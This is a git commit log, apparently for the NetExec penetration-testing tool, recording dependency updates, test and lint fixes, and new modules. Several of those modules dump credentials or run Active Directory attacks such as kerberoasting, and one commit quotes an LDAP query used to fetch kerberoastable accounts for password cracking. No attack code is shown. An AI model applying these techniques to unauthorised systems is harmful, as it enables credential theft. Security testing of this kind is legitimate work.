Alexander Neff dbc67e5ef8 Remove left over brackets 2024-04-03 11:05:07 -04:00
XiaoliChan 3f1fa69bdc remove condition
Signed-off-by: XiaoliChan <[email protected]>
2024-04-03 22:55:34 +08:00
Alex 34ebd5ad54 Fix tmp PATH on windows 2024-04-03 16:52:07 +02:00
XiaoliChan f5bb1fc65f Conflict fix
Signed-off-by: XiaoliChan <[email protected]>
2024-04-03 22:49:37 +08:00
zblurx 1f2a29fb90 update poetry 2024-04-03 15:19:54 +02:00
zblurx 205b31b08a update poetry.lock 2024-04-03 10:44:00 +02:00
zblurx 8a23958bd7 update pyproject.toml 2024-04-03 10:43:18 +02:00
zblurx f00a3ae483 Merge branch 'main' into passwords_dump_update
Signed-off-by: zblurx <[email protected]>
2024-04-03 10:40:50 +02:00
zblurx 6e28e3580d add mobaxterm module 2024-04-03 10:37:24 +02:00
Alex 5c249d59e5 Merge pull request #239 from Pennyw0rth/marshall-version-setting
Add git commit to version command
2024-04-02 16:14:41 -04:00
Alexander Neff 3e3b37fe1a Fixing lock file 2024-04-02 15:39:48 -04:00
Marshall Hallenbeck 6856d2696a feat(logging): parse debug and verbose args early, so we can properly debug log during cli_arg generation 2024-04-02 13:35:47 -04:00
Alexander Neff 59297e83d5 Fixing lock file 2024-04-02 07:32:56 -04:00
Alexander Neff 41992be628 Merging main into marshall-version-setting 2024-04-02 07:30:36 -04:00
Alex da7c507f3f Merge pull request #126 from Kahvi-0/main
--kerberoast Improvement
2024-04-01 20:57:46 -04:00
Alex 72eeb7e31d Merge branch 'main' into main 2024-04-01 19:46:20 -04:00
Alexander Neff 2189b45c5b Merge branch 'main' into kali-packaging 2024-04-01 19:41:54 -04:00
Alex cd0d3c8f41 Merge pull request #234 from Pennyw0rth/remove-git-deps
Remove oscrypto and swap back to fortra/impacket
2024-04-01 19:39:20 -04:00
Alexander Neff df4ebf3131 Rewriting lock file 2024-04-01 17:20:46 -04:00
Alex 75e9316104 Merge pull request #242 from Pennyw0rth/neff-qol
Neff qol the second
2024-04-01 17:11:15 -04:00
Marshall Hallenbeck ecf5772e86 fix: attempt to split version, and if it fails, then fallback to normal versioning (only happens with poetry) 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck 2562b60344 add version back in for when doing poetry dev, since by default it doesnt leverage build-system 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck 7c68ab4db6 add commit output to help print 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck a7b6ccf171 set poetry-core back to >= 1.2 2024-04-01 14:23:41 -04:00
mpgn 0ecdfd3564 fixing dynamic version 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck dd075d4dcf fix(deps): change poerty-core back to 1.2 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck cee3430be7 feat(versioning): add git commit to version command, so we know exactly what code is being ran during issue triage 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck 01c4a4479a Merge pull request #235 from Pennyw0rth/users-enum-fix
fix --users for LDAP proto
2024-04-01 12:32:03 -04:00
Marshall Hallenbeck 2e493f788d readd exit(1)s for parameter missing failures 2024-04-01 12:29:33 -04:00
Marshall Hallenbeck e348965910 fix(nanodump): properly pass logger 2024-04-01 12:29:33 -04:00
Marshall Hallenbeck b1a07259db fix(add-computer): remove exit(1)s since it caused tests to fail even though there was no programatic failure 2024-04-01 12:29:33 -04:00
Alexander Neff 59a201a8db Catch known error instead of printing traceback 2024-04-01 11:05:25 -04:00
Alexander Neff c331ebec12 Set default worker amount to /24 subnet 2024-04-01 11:05:07 -04:00
Alexander Neff 9aaff6fa06 Adjusting versions 2024-04-01 10:04:29 -04:00
Alexander Neff 9d2d1b65d1 Merge branch 'main' into kali-packaging 2024-04-01 09:21:59 -04:00
Alex 2457ac0259 Merge pull request #236 from swisskyrepo/winlogon-autologon
Winlogon Autologon module
2024-03-31 21:17:10 -04:00
Alex e14bbaf5a3 Merge branch 'main' into remove-git-deps 2024-03-31 21:12:41 -04:00
Alex e728c15c6d Merge branch 'main' into winlogon-autologon 2024-03-31 13:59:44 -04:00
Alex 0eeddfbf83 Merge pull request #240 from Pennyw0rth/neff-qol
Small QOL changes
2024-03-31 13:54:55 -04:00
Alexander Neff 67bf99b39c Add info log message if connection couldn't be established 2024-03-30 21:09:00 +01:00
Alexander Neff 1ba3d04a1d Fix tests 2024-03-30 21:05:03 +01:00
Alex 4b35ab7a9e Merge pull request #230 from Pennyw0rth/neff-cli
Fix testing and linting
2024-03-30 01:16:56 +01:00
Alex b73eabafdd Merge pull request #238 from Pennyw0rth/Marshall-Hallenbeck-patch-1
rename MAQ.py to maq.py
2024-03-30 01:10:47 +01:00
Alexander Neff 3937f46fd6 Remove casting to lower in module names and rename MAQ.py -> maq.py 2024-03-30 01:01:48 +01:00
Marshall Hallenbeck f6c5073ed9 rename MAQ.py to maq.py
it should not be capitalized

Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-03-29 19:21:04 -04:00
Marshall Hallenbeck 49513cc1c3 fixes for sqlalchemy downgrade if needed 2024-03-29 18:06:52 -04:00
Alexander Neff 8f2c847815 Remove old test.txt 2024-03-29 21:16:35 +01:00
Swissky c659d75ae4 Winlogon Autologon module 2024-03-29 20:36:51 +01:00
zblurx 5f454a177d fix mremoteng module options 2024-03-28 14:27:33 +01:00
zblurx 63d6e19208 Merge branch 'main' into users-enum-fix 2024-03-28 14:21:02 +01:00
zblurx 7cd29c3833 fixed ruff warnings 2024-03-28 14:07:39 +01:00
Alex 114784911c Add py3.12 testing 2024-03-28 14:06:41 +01:00
zblurx 282ddb6383 update lock file 2024-03-28 14:02:22 +01:00
zblurx bcf4202076 Merge branch 'main' into passwords_dump_update 2024-03-28 13:50:08 +01:00
zblurx f1e273f4c8 add mremoteng 2024-03-28 13:49:00 +01:00
Alexander Neff cb40697cef Remove oscrypto and swap back to fortra/impacket 2024-03-27 22:41:15 +01:00
Alexander Neff 4af3705c4f Remove loading tests from linting 2024-03-27 20:44:55 +01:00
Alexander Neff c11a4353ce Remove exception => runner should not fail now 2024-03-27 20:40:45 +01:00
Alexander Neff 0626bbc729 Fix tests 2024-03-27 20:38:51 +01:00
Alexander Neff 4fb457c57a Temporarly add test to linting in order to run test the tests (lol) 2024-03-27 20:37:26 +01:00
Alexander Neff b85add8de9 Add cli testing 2024-03-27 20:35:02 +01:00
Alexander Neff cec36e7e24 Update testing README, rename file to match README and add small test suite 2024-03-27 20:17:05 +01:00
Alexander Neff 35fe8b33e6 Reset sqlalchemy to original state 2024-03-27 19:18:06 +01:00
Alexander Neff 160681056b Bump aardwolf and asyauth to prevent installation from crashing 2024-03-27 19:03:05 +01:00
Alexander Neff 840b4dd834 Delete pytest job and add caching 2024-03-27 17:02:01 +01:00
Alex 15d52b778b Merge pull request #231 from Pennyw0rth/marshall-logging-fix 2024-03-27 12:57:15 +01:00
Marshall Hallenbeck eaeda89278 change normal output from DEBUG to INFO 2024-03-27 07:54:23 -04:00
Marshall Hallenbeck 52754f6eba Merge pull request #229 from Pennyw0rth/marshall-logging-fix
Logging fixes (double logging & function caller obfuscation)
2024-03-27 06:35:34 -04:00
zblurx e8a083e58c fix --users for LDAP proto 2024-03-27 11:07:23 +01:00
Alex 69747b9cba Update test.yml 2024-03-27 04:37:14 +01:00
Alex fdcda98d0a Update lint.yml 2024-03-27 04:13:37 +01:00
Alex d03f19eff3 Update lint.yml 2024-03-27 04:12:02 +01:00
Alex deededf441 Update test.yml 2024-03-27 04:11:11 +01:00
Alex 220cecdc0e Update lint.yml 2024-03-27 04:09:11 +01:00
Alexander Neff 32583e94e1 Add ability to trigger test manually 2024-03-27 04:03:46 +01:00
Alexander Neff 9106c9ab0d Lint only on push 2024-03-27 03:58:30 +01:00
Alexander Neff 8235bbdbc0 Fix linting 2024-03-27 03:57:39 +01:00
Alexander Neff e9583ca56c Fix linting 2024-03-27 03:54:31 +01:00
Alexander Neff ffa964647b Fix linting 2024-03-27 03:51:06 +01:00
Alexander Neff c7fcdee1d5 Reenable testing pipeline 2024-03-27 03:49:07 +01:00
Alexander Neff 7a226877e8 Fix testing and linting 2024-03-27 03:42:27 +01:00
Alexander Neff 3e2e57dd7a Pinning dependencies to kali versions, see #211 2024-03-27 03:05:50 +01:00
Marshall Hallenbeck 22da1831ec fix(logging): do not double log output in debug mode; properly show calling file & lineno for such messages 2024-03-26 21:55:05 -04:00
Alex bf737f186d Merge pull request #227 from Pennyw0rth/neff-ldaps-port
Several ldap bug fixes
2024-03-27 02:36:40 +01:00
Marshall Hallenbeck b80aa433d2 Merge pull request #222 from Pennyw0rth/neff-loggedon_users
Make loggedon-users unique to reduce spam and fix alignment
2024-03-26 20:35:13 -04:00
Marshall Hallenbeck 5bd689177f Merge pull request #228 from termanix/patch-1
Module 'get-desc-users' Update - Marshall's #201 Issue Bug Fix
2024-03-26 16:09:19 -04:00
termanix b122a39b15 Update get-desc-users.py
Removed space

Signed-off-by: termanix <[email protected]>
2024-03-25 17:15:06 +03:00
termanix 41ed36d6fa Marshall's #201 Bug Fix
reges edited and output lines added.

Signed-off-by: termanix <[email protected]>
2024-03-25 17:11:15 +03:00
Alex bfe7e46800 Merge pull request #152 from Pennyw0rth/neff-ldap-domain 2024-03-25 12:37:04 +01:00
Alex 2e311a150b Merge pull request #224 from termanix/Update_active_users
Update LDAP active users lookup to match SMB
2024-03-24 19:05:34 +01:00
Alexander Neff 774f77e719 Fixing output if typo in username, fix indent when querying for specific user and formating 2024-03-24 19:01:29 +01:00
Alexander Neff e691e350a9 Fix wrongly displayed domain when using wmi 2024-03-24 18:24:18 +01:00
Alexander Neff 0917a05188 Fix wrongly displayed domain when using winrm and remove duplicate statement 2024-03-24 18:17:08 +01:00
Alexander Neff 04b0b3aa6b Fix wrongly displayed domain when using domain trust in mssql 2024-03-24 18:07:48 +01:00
Alexander Neff 63f9f3507e Small fix for ldap domain with no-ntlm 2024-03-24 18:07:19 +01:00
Alex 09a50d8043 Merge branch 'main' into neff-ldap-domain 2024-03-24 16:23:13 +01:00
termanix e31742ec67 Merge branch 'main' into Update_active_users 2024-03-24 10:41:37 +03:00
Alex a6935b4d8d Merge pull request #218 from Pennyw0rth/neff-enum_av
Fixing antivirus enumeration
2024-03-24 03:03:28 +01:00
Alexander Neff 041645aed9 Fix ldap not reporting DA when using hash login 2024-03-24 02:46:58 +01:00
Alexander Neff 6a24d76db9 Now adding the message, oops 2024-03-24 02:46:35 +01:00
Alexander Neff eb244948e6 Add log message to explain potential ldap channel binding 2024-03-24 02:44:23 +01:00
Marshall Hallenbeck 8940badc09 Merge pull request #216 from Pennyw0rth/ldap-checker-fix
[ldap-checker] Module fix
2024-03-23 14:04:16 -04:00
Marshall Hallenbeck d8284f9178 Merge pull request #226 from Pennyw0rth/issues/221
BloodHound & hash_spider fixes
2024-03-23 09:59:41 -04:00
Marshall Hallenbeck 934ba6f139 fix(hash_spider): fix old db function call for hosts; fixes #221 2024-03-22 14:50:01 -04:00
Marshall Hallenbeck a9bd576392 fix(bloodhound): fail out right away if Bloodhound is enabled and authentication fails to the API 2024-03-22 14:50:01 -04:00
Marshall Hallenbeck 58d2039553 update default bloodhound password 2024-03-22 14:50:01 -04:00
zblurx a6f09e7166 cleanup 2024-03-22 17:44:31 +01:00
zblurx af9dfcfeb5 vnc module working 2024-03-22 17:35:51 +01:00
termanix 6c3746643e Update ldap.py
Signed-off-by: termanix <[email protected]>
2024-03-22 19:24:41 +03:00
termanix e0b6f571c8 Update ldap.py
Signed-off-by: termanix <[email protected]>
2024-03-22 19:22:10 +03:00
termanix fc40c778fe Update ldap.py
Signed-off-by: termanix <[email protected]>
2024-03-22 19:12:26 +03:00
termanix 9603f8f450 Update ldap.py
Fixed single quotes and blank spaces

Signed-off-by: termanix <[email protected]>
2024-03-22 19:04:40 +03:00
termanix 7c07ab04d7 Update ldap.py
line 914 and 916 Comparison edited to "is"

Signed-off-by: termanix <[email protected]>
2024-03-22 18:58:45 +03:00
termanix c1a2a92816 Update LDAP active users lookup to match SMB 2024-03-22 18:42:33 +03:00
Marshall Hallenbeck 3dc84e1228 Merge pull request #215 from Pennyw0rth/marshall-ldap-users
Update LDAP users lookup to match SMB
2024-03-22 10:50:49 -04:00
Alexander Neff 1e517c8313 Fix ruff 2024-03-22 12:47:40 +01:00
Alexander Neff c123e37d4e Make loggedon-users unique to reduce spam and fix alignment 2024-03-22 12:43:17 +01:00
Alex 58c0529264 Merge branch 'main' into neff-enum_av 2024-03-22 10:36:27 +01:00
Marshall Hallenbeck 40e99913e3 change extra output to debug statement 2024-03-21 20:45:39 -04:00
Marshall Hallenbeck e870a30416 Merge branch 'main' into marshall-ldap-users 2024-03-21 20:25:51 -04:00
Alex fb8c4bcdcd Merge pull request #220 from Pennyw0rth/marshall-proto-print-fix
Fix: module names 8-10 chars being cut off
2024-03-22 01:23:24 +01:00
Marshall Hallenbeck b0ec4b7951 fix(smb): --users display off by one :) 2024-03-21 20:16:43 -04:00
Marshall Hallenbeck e5bba812e8 fix(ldap): off by one :) 2024-03-21 20:12:06 -04:00
Alexander Neff 49e909c50a Formating 2024-03-21 20:12:06 -04:00
Alexander Neff 14e7034352 Formating 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 6a4852e013 fix/feat: remove unnecessary and ugly ldap-attributes functionality; add in badPwdCount to --users 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 3a1e93a386 ruff: apply ruff 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 762a9ac102 feat(ldap): allow for adding additional attributes when querying for users 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 0eee328ea0 feat(ldap): allow for specifying specific users to dump for ldap and print last password set date 2024-03-21 20:12:06 -04:00
Alex 0608628aff Merge pull request #214 from Pennyw0rth/issue/203
Fix SMB users lookup and return last password set date
2024-03-22 00:48:01 +01:00
Marshall Hallenbeck 020ec1758c samruser: update --user output header 2024-03-21 19:43:00 -04:00
Alexander Neff 1e68591742 Formating 2024-03-21 23:49:35 +01:00
Marshall Hallenbeck 590a4e2536 format(logger): fix some newlining stuff that got messed up during old black formatting 2024-03-21 18:20:18 -04:00
Marshall Hallenbeck 3c1927afd7 fix: modules with a name between 8 and 10 length were being erroneously cut off 2024-03-21 18:16:09 -04:00
Marshall Hallenbeck 9a915f0f24 fix/feat(samruser): add back in bad password count to --users; closes #219 2024-03-21 18:12:40 -04:00
Marshall Hallenbeck 54e6ebb017 samruser: clean auth line up 2024-03-21 17:42:05 -04:00
Alexander Neff 2e196b5a50 Fix ruff linting 2024-03-21 19:09:15 +01:00
Alexander Neff 382af18513 Fixing enum_av process enumeration and adding more info to ESET 2024-03-21 19:06:21 +01:00
Alexander Neff 39bf9b109c Stop neo4j for spamming into the debug log 2024-03-21 19:06:14 +01:00
zblurx e06b28992d fix loot for GoogleRefreshToken 2024-03-21 17:42:12 +01:00
zblurx 0d1b4537a0 update dploot dep 2024-03-21 17:41:50 +01:00
zblurx 5cf6d55679 added sccm module 2024-03-21 17:41:40 +01:00
zblurx e8fe42cb4a fix ruff warning 2024-03-21 17:09:22 +01:00
zblurx addc060077 fix ldap signing check 2024-03-21 17:04:49 +01:00
Marshall Hallenbeck 2a66f36364 fix(users): remove domain from output, since it's implied, and set timestamp to <never> for last set password date if it should be 2024-03-20 21:57:39 -04:00
Marshall Hallenbeck 60f1785608 ruff: apply ruff 2024-03-20 18:03:28 -04:00
Marshall Hallenbeck ce9b766276 fix+feat(smb-users): allow requesting only specific users, print LastPwSet, and functionize more code for future use 2024-03-20 17:57:31 -04:00
Alex ae158614e6 Merge pull request #213 from Pennyw0rth/neff-nullauth-bh
Stop Netexec from adding null auth user to bloodhound
2024-03-20 01:02:31 +01:00
Alexander Neff d885974121 Stop nxc from trying to add null auth creds to bloodhound 2024-03-19 20:01:11 -04:00
Alex e367bf9fa8 Merge pull request #212 from Pennyw0rth/neff-fix-bloodhound-dump
Adding the fileNamePrefix which was introduced in bloodhound so files…
2024-03-20 00:58:43 +01:00
Alex 6b6decd1d7 Merge pull request #208 from Pennyw0rth/neff-fix-207
Revert #190 to enable null-auth without explicit specification
2024-03-20 00:58:15 +01:00
dt bcd0896bc1 Adding the fileNamePrefix which was introduced in bloodhound so files get properly zipped again 2024-03-19 21:24:09 +01:00
Alexander Neff 74b18fdf4e Merge branch 'main' into neff-fix-207 2024-03-18 23:34:36 +01:00
Marshall Hallenbeck e12fef0620 Merge pull request #163 from lodos2005/main
[Module] printerbug
2024-03-18 15:35:16 -04:00
Alexander Neff ca192d8f8e Revert #190 to enable functionality without explicit auth 2024-03-18 15:18:23 -04:00
Alex b62c315440 Merge pull request #65 from sebrink/main 2024-03-18 19:25:06 +01:00
Hakan Yavuz b8099a967a Merge branch 'main' into main 2024-03-17 23:36:38 -07:00
Alexander Neff dff88cb345 Use f-strings and make minor improvements 2024-03-17 02:24:24 +01:00
Alexander Neff 328b25b434 Remove unused import 2024-03-17 01:54:37 +01:00
Alexander Neff 45b02250e6 Merge branch main into neff-ldap-domain 2024-03-16 22:18:42 +01:00
Alexander Neff add1c66375 Remove check that should never happen 2024-03-16 21:33:45 +01:00
Alexander Neff efe59e33f1 Fix ruff linting 2024-03-16 19:26:10 +01:00
Alexander Neff b192c036cb Don't display observation window and lockout duration if lockout threshhold is 0, as they are disabled then 2024-03-16 19:13:11 +01:00
Alexander Neff 4d6d3bf766 Remove unused packages and display pso timedeltas as they are in active directory 2024-03-16 18:53:01 +01:00
Alexander Neff 5f88d6121a Formating and small code improvements 2024-03-16 17:10:19 +01:00
Alexander Neff 0acfc551ac Add missing imports and improve code 2024-03-16 17:03:47 +01:00
Alexander Neff 2e928d2b7c Rename module to match filename and use time conversion with packages already in nxc 2024-03-16 16:52:42 +01:00
Alexander Neff ddd36cc392 Remove unused imports 2024-03-16 16:41:30 +01:00
Alexander Neff a869c6f5e8 Merging main into fgpp and resolving conflicts 2024-03-15 00:56:38 +01:00
Marshall Hallenbeck 5d777547ed Merge pull request #206 from Pennyw0rth/marshall-issue-200-2
fix(wcc.py): properly escape for #200
2024-03-14 16:38:31 -04:00
Marshall Hallenbeck eab93ca3ee fix(wcc.py): properly escape for #200
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-03-14 16:03:31 -04:00
Alex 31aff31469 Merge pull request #41 from Shad0wC0ntr0ller/Obsolete
Extract obsolete operating systems from LDAP
2024-03-14 01:21:46 +01:00
Alexander Neff 30cab48d9b Changed manual path to nxc default path 2024-03-14 01:19:13 +01:00
Alex 632395f4d3 Merge branch 'main' into Obsolete 2024-03-14 01:13:30 +01:00
Alex cf8b2c05c0 Merge branch 'main' into main 2024-03-14 00:57:22 +01:00
Alexander Neff 64f3692624 Removing unused request options which throw an exception 2024-03-14 00:55:50 +01:00
Alexander Neff 24b00d9992 Formating 2024-03-14 00:55:25 +01:00
Alexander Neff 183d2b9dce Updated logging to use context logger and changed description 2024-03-14 00:44:47 +01:00
Marshall Hallenbeck 840446d810 Merge pull request #204 from Pennyw0rth/marshall-issue-200
Fix string escaping issues for Kali package, fix some logging, and allow for lsa and sam WinRM dumping
2024-03-13 15:21:12 -04:00
Marshall Hallenbeck d271d00eec fix(winrm): allow for --lsa and --sam at the same time, like smb allows 2024-03-13 13:02:50 -04:00
Marshall Hallenbeck 2efef82662 fix(escaping): update remaining string escaping issues for #200 2024-03-13 13:02:28 -04:00
Marshall Hallenbeck 48242de675 Merge branch 'main' into marshall-issue-200 2024-03-13 12:58:00 -04:00
Marshall Hallenbeck d11af2a296 fix(runasppl) set command string to raw and change error to debug as it is unnecessary and spammy 2024-03-13 12:50:33 -04:00
Alex 1708889721 Merge pull request #202 from Pennyw0rth/neff-update-neo4j 2024-03-13 11:00:56 +01:00
Alexander Neff 07050e153c Resolve conflicts 2024-03-12 23:22:00 +01:00
Alexander Neff bf1ab5bd76 Update neo4j python driver 2024-03-12 23:09:42 +01:00
Marshall Hallenbeck 5a1e139d85 fix: extra escape in string 2024-03-12 16:38:58 -04:00
Marshall Hallenbeck ec31181c3a fix: set string to raw 2024-03-12 16:37:03 -04:00
Marshall Hallenbeck 34db1985f3 change regex string to raw, but this module doesnt even work for checking for pws 2024-03-12 16:35:18 -04:00
Marshall Hallenbeck 2d68c179b8 fix: string formatting and improved logging for daclread 2024-03-12 15:23:08 -04:00
Marshall Hallenbeck f91cccf49e fix: string formatting for #200 2024-03-12 15:22:06 -04:00
Kahvi-0xFF 68c197d471 Improve Kerberoast Module
On a test where --kerberoast would not return a ticket for a user I knew was kerberoastable. After some digging I changed the LDAP query in ldap.py to be just "(&(servicePrincipalName=*)(!(objectCategory=computer)))". This removes the check for accounts locked out/inactive and this returned the ticket I was able to see with powerview. 

Personally would still like to get tickets for users that are disabled/locked out in order to attempt to crack their password and see if the password is reused. 

I also changed the error for Bypassing disabled account {sAMAccountName} to be highlight as I thought this is nice to have.

Signed-off-by: Kahvi-0xFF <[email protected]>
2024-03-12 12:53:23 -04:00
Shad0wC0ntr0ller 56ef949c92 Update obsolete.py
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 855bc89a2f Update obsolete.py
change ' to "

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 018cc98ed3 Update obsolete.py
Add pwdLastSet

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller d99ddaaaec Update obsolete.py
Added Server 2012 to the vuln list

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 2c637eead7 Update obsolete.py
change cme to nxc

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 87fce318de Update obsolete.py
Updated separator in output 

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 68b2f01979 Extract obsolete operating systems from LDAP
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Marshall Hallenbeck a4cbd5bf5d Merge pull request #171 from Pennyw0rth/neff-rem-pyreadline
Remove pyreadline as it causes errors in nxcdb
2024-03-12 11:14:16 -04:00
XiaoliChan 059013a0ab [lib] update impacket
Signed-off-by: XiaoliChan <[email protected]>
2024-03-12 16:36:06 +08:00
XiaoliChan 751544806b Add e2e
Signed-off-by: XiaoliChan <[email protected]>
2024-03-12 10:42:20 +08:00
Alex 19b89633b1 Merge branch 'neff-rem-pyreadline' of https://github.com/Pennyw0rth/NetExec into neff-rem-pyreadline 2024-03-12 01:46:31 +01:00
Alexander Neff d6f1ee25ed Update lock file 2024-03-12 01:45:52 +01:00
Alexander Neff 1a703c6ab6 Merge main 2024-03-12 00:58:03 +01:00
XiaoliChan 9b8b2e99ec Update kdchost description
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 18:32:03 +08:00
XiaoliChan 548a5e9228 Update impacket
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 18:26:40 +08:00
XiaoliChan fc9bf7f4e5 [LDAP] Fix logic with no-smb
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 14:51:35 +08:00
XiaoliChan 5efa1ef7f0 [LDAP] Fix logic with no-smb
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 14:40:17 +08:00
XiaoliChan 48be975341 [DNS] Clean SMB
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:46:14 +08:00
XiaoliChan 218518dbb6 [DNS] Clean SMB
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:19:48 +08:00
XiaoliChan 35d3a3d3c1 [DNS] Fix mssql
Signed-off-by: XiaoliChan <[email protected]>

[DNS] Fix mssql

Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:03:22 +08:00
XiaoliChan 3dcca25081 Merge remote-tracking branch 'upstream/main' into dns 2024-03-10 09:56:04 +08:00
XiaoliChan 9131e5cf9b Ruff
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 09:55:50 +08:00
XiaoliChan 2b75ed6784 [DNS] Fix RDP & ldap-checker
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 09:44:05 +08:00
Marshall Hallenbeck 3f31b2e231 Merge pull request #190 from Pennyw0rth/mpgn-patch-2
Update connection.py to force login
2024-03-09 12:34:28 -05:00
XiaoliChan 233136ae3e clean up
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 00:48:38 +08:00
XiaoliChan 55a4486dbe [mmcexec] avoid kerberos auth
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 22:56:39 +08:00
XiaoliChan 43576de135 [DNS] fix dcom
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 22:43:58 +08:00
XiaoliChan b42a7f17f5 [wmi] fix rdp
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 21:40:59 +08:00
XiaoliChan 30dd0cec91 Update impacket version
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 20:56:34 +08:00
XiaoliChan 5fd9e9b9a3 [DNS] Fix mssql
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 18:37:33 +08:00
mpgn 8215eaa27a Update connection.py
Signed-off-by: mpgn <[email protected]>
2024-03-09 01:52:50 -05:00
XiaoliChan 11600f7767 [DNS] Fix wmi
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 184551ee30 [DNS] Fix module with kerberos
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 1f4dcdc4e9 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan cd5f8e7e47 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 3cf689c7f8 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan ee6b74bbb8 [DNS] Ready for kdcHost
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
mpgn 8010f10552 fix ruff check 2024-03-09 01:52:16 -05:00
mpgn 05430a679e Set info as info 2024-03-09 01:52:16 -05:00
mpgn 30e9f0f153 Add ldap destination IP to be compatible with dns resolution 2024-03-09 01:52:16 -05:00
XiaoliChan 5fe1d988ea [DNS] Add DNS args
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
Marshall Hallenbeck d9e46dbb1f Merge pull request #136 from XiaoliChan/mssql-improv
[MSSQL] Improvement
2024-03-09 01:52:00 -05:00
XiaoliChan 9120d1d5dc [mssql] mpgn: review
Signed-off-by: XiaoliChan <[email protected]>
2024-03-04 21:24:37 +08:00
XiaoliChan 7d9ddfb1d6 Merge branch 'main' into mssql-improv 2024-03-03 20:07:00 +08:00
Alex 31b2a1f458 Merge pull request #191 from XiaoliChan/ntlm_parser
[lib] Improve ntlm_parser.py
2024-03-03 07:03:34 -05:00
Alex d6952025aa Merge pull request #193 from Pennyw0rth/Marshall-Hallenbeck-patch-1
Update README.md
2024-03-03 06:55:53 -05:00
Marshall Hallenbeck 88769b1b0d Update README.md
add Linux installation directly to README
fix french->english :P

Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-03-02 20:47:39 -05:00
zblurx ac2a56ef46 fix ldap-checker module 2024-02-29 16:36:53 +01:00
XiaoliChan 4a085781cf [mssql] Ready for PR #191
Signed-off-by: XiaoliChan <[email protected]>
2024-02-29 13:37:04 +08:00
XiaoliChan 423b70bcfb [lib] Improve ntlm_parser.py
Signed-off-by: XiaoliChan <[email protected]>
2024-02-29 13:26:00 +08:00
Alex 0d1c8bcdef Remove pyreadline as it causes errors in nxcdb 2024-02-28 12:49:37 -05:00
XiaoliChan 3af5186960 [mssql] remove drop mssql-ntlm-parser.py
Signed-off-by: XiaoliChan <[email protected]>
2024-02-28 12:47:56 +08:00
XiaoliChan 387538a979 Merge branch 'main' into mssql-improv 2024-02-28 09:14:02 +08:00
Alex ac60614474 Merge pull request #172 from XiaoliChan/winrm-ntlm-info
[winrm] say goodbye to SMB
2024-02-27 19:00:06 -05:00
Alexander Neff 9f0ac2cf90 Added fallback if build version is not available (yet) 2024-02-28 00:55:29 +01:00
XiaoliChan 1d1c03be7a [winrm] better os info
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 18:40:59 -05:00
Alexander Neff 7e0c0e0c07 Formating 2024-02-27 18:40:59 -05:00
Alexander Neff 1e12cadb33 Removed unused conditional function, removed "NT" from windows version so it matches SMB enumeration 2024-02-27 18:40:59 -05:00
XiaoliChan 19ee066542 [winrm] Ruff
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 18:40:59 -05:00
XiaoliChan 217cf21cff [winrm] Clean args.py
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 18:40:59 -05:00
XiaoliChan 9ceab247a8 [winrm] say goodbye to SMB
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 18:40:59 -05:00
Josh 7a46f9eb64 Update enum_ca.py
Signed-off-by: Josh <[email protected]>
2024-02-27 17:58:23 +01:00
Alexander Neff 97af55337c Added proposal by Dfte and formating 2024-02-27 17:58:23 +01:00
Josh bf61e93466 Update enum_ca.py
Updated as requested

Signed-off-by: Josh <[email protected]>
2024-02-27 17:58:23 +01:00
Josh b20f6e199d Update enum_ca.py
removed newline on line 1

Signed-off-by: Josh <[email protected]>
2024-02-27 17:58:23 +01:00
Josh a6fbdbff2b linted
ran through ruff
2024-02-27 17:58:23 +01:00
Josh c0ac682722 New Module
added anonymous ADCS CA enumeration module
